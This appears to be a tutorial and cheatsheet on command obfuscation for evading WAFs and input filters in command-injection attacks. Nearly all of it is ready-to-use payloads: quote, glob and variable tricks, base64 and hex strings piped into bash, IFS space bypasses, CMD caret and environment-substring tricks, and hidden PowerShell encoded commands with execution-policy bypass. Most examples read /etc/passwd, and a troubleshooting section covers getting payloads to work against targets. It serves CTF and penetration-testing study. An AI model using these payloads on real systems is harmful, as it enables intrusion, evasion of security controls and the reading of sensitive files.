> Introduction

Command obfuscation is the practice of modifying commands while preserving their functionality to bypass security filters, Web Application Firewalls (WAFs), and input validation mechanisms. This is commonly needed in:

  • CTF Competitions - Bypassing intentionally weak filters in challenges
  • Penetration Testing - Testing the effectiveness of security controls
  • Security Research - Understanding filter bypass techniques
  • Red Team Operations - Evading detection during authorized assessments

Legal Disclaimer

These techniques should only be used in authorized security testing environments, CTF competitions, or educational contexts. Unauthorized access to computer systems is illegal.

> How It Works

Command obfuscation exploits the difference between how security filters parse input and how the shell interprets commands. Filters often use simple pattern matching (regex, blacklists) while shells have complex parsing rules.

? The Filter vs Shell Gap

How Filters Typically Work

  • Blacklist matching - Block known dangerous commands like cat, wget, curl
  • Regex patterns - Match patterns like /etc/passwd
  • Character filtering - Remove or block special characters

How Shells Actually Parse

  • Quote removal - Empty quotes "" and '' are removed
  • Variable expansion - $var is replaced with its value
  • Glob expansion - [a] matches the character 'a'
  • Escape processing - \c becomes just 'c'
Example: Filter sees vs Shell executes
# What the filter sees: c''a''t /e''tc/p''asswd # What the shell executes after quote removal: cat /etc/passwd

> When to Use Each Technique

💡

Pro Tip

Different filters block different things. Start with simple techniques (quotes, backslashes) and escalate to encoding if needed. The simplest bypass that works is usually the best.

If Blocked... Try This Technique Example
Command names (cat, ls, id) Quotes, Backslash, Glob c'a't, c\at, c[a]t
File paths (/etc/passwd) Wildcards, Glob, Encoding /e*/passwd, /etc/pass[w]d
Spaces IFS, Brace expansion, Tabs cat${IFS}/etc/passwd
Entire command string Base64, Hex, Concatenation echo Y2F0...|base64 -d|bash
Special characters Variable expansion, Encoding $'\x63\x61\x74'

> Glob Patterns

Glob patterns are shell wildcards used for filename matching. When used strategically, they can bypass string-based filters while the shell still correctly interprets the command.

[] Character Class Matching
Shell

Why It Works

The bracket expression [x] matches exactly one character from the set inside the brackets. When there's only one character, it matches exactly that character. Filters see [a] but bash resolves it to a.

Syntax Variants

# Single character class - matches exactly that character c[a]t /etc/passwd # Executes: cat /etc/passwd # Multiple positions [c]at /etc/pass[w]d # Executes: cat /etc/passwd # Works in paths too cat /[e]tc/passwd # Executes: cat /etc/passwd

When It Works

  • Filter blocks exact strings like "cat" or "passwd"
  • Filter doesn't understand shell glob syntax
  • bash, sh, zsh, and most POSIX shells

When It Fails

  • Filter strips or blocks bracket characters
  • Command runs in a context without glob expansion
  • The glob doesn't match any existing file (for path globs)

> Quote Insertion

Inserting empty quote pairs breaks up blocked strings while the shell removes them during parsing, resulting in the original command.

"" Empty Quotes
Shell

Why It Works

In shell parsing, adjacent strings are concatenated. Empty quotes "" or '' produce empty strings that don't change the final result. The filter sees broken strings but the shell concatenates them.

# Single quotes (no expansion inside) c''a''t /etc/passwd # Shell sees: c + '' + a + '' + t = cat # Double quotes (allows expansion inside, but empty = empty) c""a""t /etc/passwd # Same result # Mixed quotes c'a't /e"tc"/passwd # Works the same way # Strategic placement to break keywords ca''t /et''c/pa''sswd # Breaks up "cat", "etc", "passwd"

Single vs Double Quotes

  • Single quotes '' - No expansion, everything literal (safer)
  • Double quotes "" - Allows variable expansion ($VAR works inside)
  • Best practice - Use single quotes when possible
📚

Shell Concatenation Rule

Adjacent words in shell are concatenated: "hel""lo" becomes hello. This is documented POSIX behavior.

> Backslash Escape

Backslash escapes the following character, preserving its literal value. For most alphanumeric characters, this has no effect but breaks pattern matching.

\ Character Escaping
Shell

Why It Works

Backslash makes the next character literal. For regular letters, \c equals c. Filters see the backslash but bash strips it during quote removal phase.

# Escape every letter \c\a\t /\e\t\c/\p\a\s\s\w\d # Just escape command name \c\a\t /etc/passwd # Mix with paths cat /etc\/passwd # Escaping / has no effect

Important Notes

  • Works for letters: \a = a
  • Special chars stay escaped: \$ = literal $
  • Newline after backslash = line continuation

> Variable Expansion

Shell variables that are undefined or empty expand to nothing. Inserting these between characters breaks the string for filters but produces the same output.

$ Empty Variable Insertion
Shell

Why It Works

Undefined variables expand to empty strings by default. Special variables like $@ and $* are empty in interactive shells. The filter sees $@ but bash expands it to nothing.

# $@ - positional parameters (empty interactively) c$@at /etc/passwd # Expands to: cat /etc/passwd # ${x} - undefined variable c${x}at /etc/passwd # x is undefined, expands to nothing # $* - all positional params ca$*t /etc/passwd # $() - empty command substitution c$()at /etc/passwd # Runs nothing, returns nothing # $9 - ninth positional param (usually empty) $9cat /etc/passwd

Best Variables to Use

Variable What It Is Reliability
$@ All positional parameters High
${x} Undefined variable High
$() Empty subshell High
$* Positional params as string Medium

> Variable Concatenation

Building commands by storing parts in variables and concatenating them at execution time.

+ Build Commands from Parts
Shell

Why It Works

Variables are expanded at runtime. Filters scan the input text but don't execute it, so they see variable assignments, not the final command.

# Store parts in variables a=c;b=a;c=t;$a$b$c /etc/passwd # Variables: a=c, b=a, c=t # Expansion: $a$b$c = cat # Separate command and args cmd=cat;file=/etc/passwd;$cmd $file # Character by character v0=c;v1=a;v2=t;$v0$v1$v2 /etc/passwd # Using arrays (bash) a=(c a t);${a[0]}${a[1]}${a[2]} /etc/passwd

When It Works

  • Filter doesn't interpret shell variable syntax
  • Multiple commands allowed (semicolons not blocked)
  • bash or compatible shell

> Encoding Techniques

Encode the command and decode it at runtime. This completely obscures the command from filters.

B64 Base64 Encoding
Encoding

Why It Works

Base64 converts binary/text to ASCII letters and numbers. The filter sees innocent-looking base64 text. At runtime, it's decoded and executed.

# "cat /etc/passwd" in base64 echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash # Using bash -c with subshell bash -c "$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)" # Using eval eval $(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d) # Short form (if bash available) echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh

Encoding Your Commands

# To encode: echo -n "cat /etc/passwd" | base64 # Output: Y2F0IC9ldGMvcGFzc3dk # To decode (for testing): echo Y2F0IC9ldGMvcGFzc3dk | base64 -d # Output: cat /etc/passwd
0x Hex Encoding
Encoding

Why It Works

Bash's $'...' ANSI-C quoting interprets escape sequences including hex (\xNN) and octal (\NNN).

# Hex encoding: cat = \x63\x61\x74 $'\x63\x61\x74' /etc/passwd # Full command in hex $'\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' # Using echo -e echo -e "\x63\x61\x74 /etc/passwd" | bash # Using printf printf '%b' '\x63\x61\x74 /etc/passwd' | bash # Octal encoding: cat = \143\141\164 $'\143\141\164' /etc/passwd

ASCII Hex Reference Table

Character Hex Octal Decimal
space\x20\04032
/\x2f\05747
a-z\x61-\x7a\141-\17297-122
A-Z\x41-\x5a\101-\13265-90
0-9\x30-\x39\060-\07148-57
-\x2d\05545
.\x2e\05646
_\x5f\13795
💡

Quick Conversion

Use: printf '%x\n' "'a" to get hex value of 'a' (61), or echo -n "cat" | xxd -p for full string (636174).

> Wildcard Paths

Using shell wildcards in paths to avoid typing exact filenames that might be filtered.

* Path Wildcards
Shell

Why It Works

Wildcards expand to matching filenames. * matches any string, ? matches any single character. If only one file matches, it expands to that exact path.

# * matches any string cat /e*/passwd # /e* matches /etc cat /etc/pass* # matches /etc/passwd # ? matches single character cat /etc/p?sswd # ? matches 'a' cat /???/?????? # /etc/passwd has 3 + 6 chars # Combined cat /e??/pa??wd /???/c?t /???/p?sswd # Even the command!

Ambiguity Warning

Wildcards expand to ALL matching files. If /e* matches multiple directories, you might get unexpected results. Be specific enough to match only your target.

> IFS Manipulation

IFS (Internal Field Separator) defines what characters separate words. Manipulating it allows bypassing space filters.

_ Space Bypass with IFS
Shell

Why It Works

$IFS defaults to space, tab, newline. When expanded in an unquoted context, it effectively produces a word separator. You can also redefine IFS to use different separators.

# $IFS expands to space (default) cat$IFS/etc/passwd # cat /etc/passwd cat${IFS}/etc/passwd # Same with braces # Redefine IFS to underscore IFS=_;cat_/etc/passwd # _ now acts as separator # Using tab (encoded) cat$'\t'/etc/passwd # Tab as separator # Using newline cat$'\n'/etc/passwd # Newline works too

When Spaces Are Blocked

If the filter blocks spaces but allows $, IFS is your best friend. It's a standard shell variable that produces the exact characters you need.

> Caret Escape (Windows)

The caret ^ is the CMD.exe escape character, similar to backslash in Unix shells.

^ CMD Escape Character
CMD

Why It Works

In CMD, ^ escapes the next character. For regular letters, ^w equals w. This breaks string matching while CMD strips the carets.

REM Escape each letter w^h^o^a^m^i REM Partial escaping who^ami REM With paths t^y^p^e C:\Windows\win.ini REM Heavy obfuscation ^w^h^o^a^m^i

Limitations

  • Only works in CMD.exe, not PowerShell
  • Some contexts require doubled carets ^^
  • Escaping some special chars changes meaning

> Environment Variable Substrings

CMD allows extracting substrings from environment variables. You can build commands character by character from existing variables.

% Build from %COMSPEC%
CMD

Why It Works

CMD's %VAR:~start,length% syntax extracts substrings. Since %COMSPEC% typically equals C:\Windows\system32\cmd.exe, you can extract any letter you need.

REM %COMSPEC% = C:\Windows\system32\cmd.exe REM Positions: C(0) :(1) \(2) ... c(-7) m(-6) d(-5) .(-4) e(-3) x(-2) e(-1) REM Extract 'C' (uppercase) from position 0 %COMSPEC:~0,1% REM = C REM Extract 'c' (lowercase) from cmd.exe (-7 from end) %COMSPEC:~-7,1% REM = c REM Extract 'e' from .exe (-1 from end) %COMSPEC:~-1,1% REM = e REM Extract 'm' and 'd' from cmd %COMSPEC:~-6,1% REM = m %COMSPEC:~-5,1% REM = d REM Using %WINDIR% = C:\Windows REM Positions: C(0) :(1) \(2) W(3) i(4) n(5) d(6) o(7) w(8) s(9) %WINDIR:~3,1% REM = W %WINDIR:~4,1% REM = i %WINDIR:~5,1% REM = n %WINDIR:~8,1% REM = w (lowercase)

Verified Character Mappings

Character Extraction Source
C%COMSPEC:~0,1%C:\...
c%COMSPEC:~-7,1%cmd.exe
m%COMSPEC:~-6,1%cmd.exe
d%COMSPEC:~-5,1%cmd.exe
e%COMSPEC:~-1,1%.exe
x%COMSPEC:~-2,1%.exe
W%WINDIR:~3,1%Windows
i%WINDIR:~4,1%Windows
n%WINDIR:~5,1%Windows
o%WINDIR:~7,1%Windows
w%WINDIR:~8,1%Windows
s%WINDIR:~-1,1%Windows

Useful Environment Variables

  • %COMSPEC% - C:\Windows\system32\cmd.exe
  • %WINDIR% - C:\Windows
  • %SYSTEMROOT% - C:\Windows (same as WINDIR)
  • %PATH% - Contains many diverse characters
  • %PATHEXT% - .COM;.EXE;.BAT... (useful for punctuation)

> PowerShell Techniques

PowerShell offers powerful encoding and execution options for Windows command obfuscation.

PS Encoded Commands
PowerShell

Base64 Encoded Commands

PowerShell's -EncodedCommand (or -e, -enc) accepts Base64-encoded UTF-16LE strings.

# Run encoded command powershell -e dwBoAG8AYQBtAGkA # With execution policy bypass powershell -ep bypass -e dwBoAG8AYQBtAGkA # Hidden window powershell -w hidden -e dwBoAG8AYQBtAGkA
📚

UTF-16LE Encoding

PowerShell expects UTF-16LE (Little Endian) encoding, not plain ASCII Base64. Each character becomes 2 bytes. The generator handles this automatically.

Character Array Execution

# Build string from char codes and execute powershell -c "[char[]](119,104,111,97,109,105)-join''|iex" # 119=w, 104=h, 111=o, 97=a, 109=m, 105=i = "whoami" # Alternative syntax powershell "$([char[]](119,104,111,97,109,105)-join'')"

> Technique Comparison

Technique Linux Windows Complexity Detectability
Quote Insertion Yes Yes Low Low
Escape Characters \ (backslash) ^ (caret) Low Low
Glob Patterns Yes No Low Medium
Variable Expansion Yes Yes Medium Medium
Concatenation Yes Yes Medium Medium
Base64 Encoding Yes PowerShell High High
Hex Encoding Yes Limited High High
IFS Manipulation Yes No Medium Medium
Env Substrings No CMD High High

> Troubleshooting

Payload Not Working?

  • Check the shell - bash vs sh vs zsh have different features
  • Check execution context - CGI, PHP exec(), Python subprocess all handle quoting differently
  • Test locally first - Verify the payload works before using in target
  • Watch for double-escaping - Quotes and backslashes might need escaping for the transport layer

Common Mistakes

  • Glob doesn't match - Wildcards in non-existent paths fail
  • Wrong encoding - PowerShell needs UTF-16LE, not UTF-8
  • Missing interpreter - |bash fails if only sh exists
  • Blocked pipe/semicolon - Many payloads need | or ;

Testing Tips

# Test on your machine first echo 'c'"'"'a'"'"'t /etc/passwd' # See what the shell actually receives # Use echo to debug echo c''a''t # Output: cat (confirms quote removal) # Check base64 encoding echo -n "whoami" | base64 # Output: d2hvYW1p # Use: echo d2hvYW1p|base64 -d|bash

Context-Specific Issues

Context Common Issues Solution
PHP exec()/system() Quotes need escaping Use hex encoding or base64
Python subprocess Shell=False by default Ensure shell=True or use direct path
URL parameters Special chars URL encoded Double-encode or use alternatives
JSON payloads Backslashes doubled Account for JSON escaping
WAF blocking Pattern matching Try multiple techniques, combine them

> Quick Reference Cheatsheet

Linux One-Liners

# Bypass "cat" filter c'a't file # quotes c\at file # backslash c[a]t file # glob c$@at file # empty var # Bypass "passwd" filter /etc/pass[w]d # glob /etc/pass''wd # quotes /e*/passwd # wildcard # Bypass space filter cat${IFS}/etc/passwd cat$IFS/etc/passwd {cat,/etc/passwd} # Full command encoding echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh

Windows One-Liners

REM Bypass "whoami" filter w^h^o^a^m^i REM caret who""ami REM quotes REM PowerShell encoded powershell -e dwBoAG8AYQBtAGkA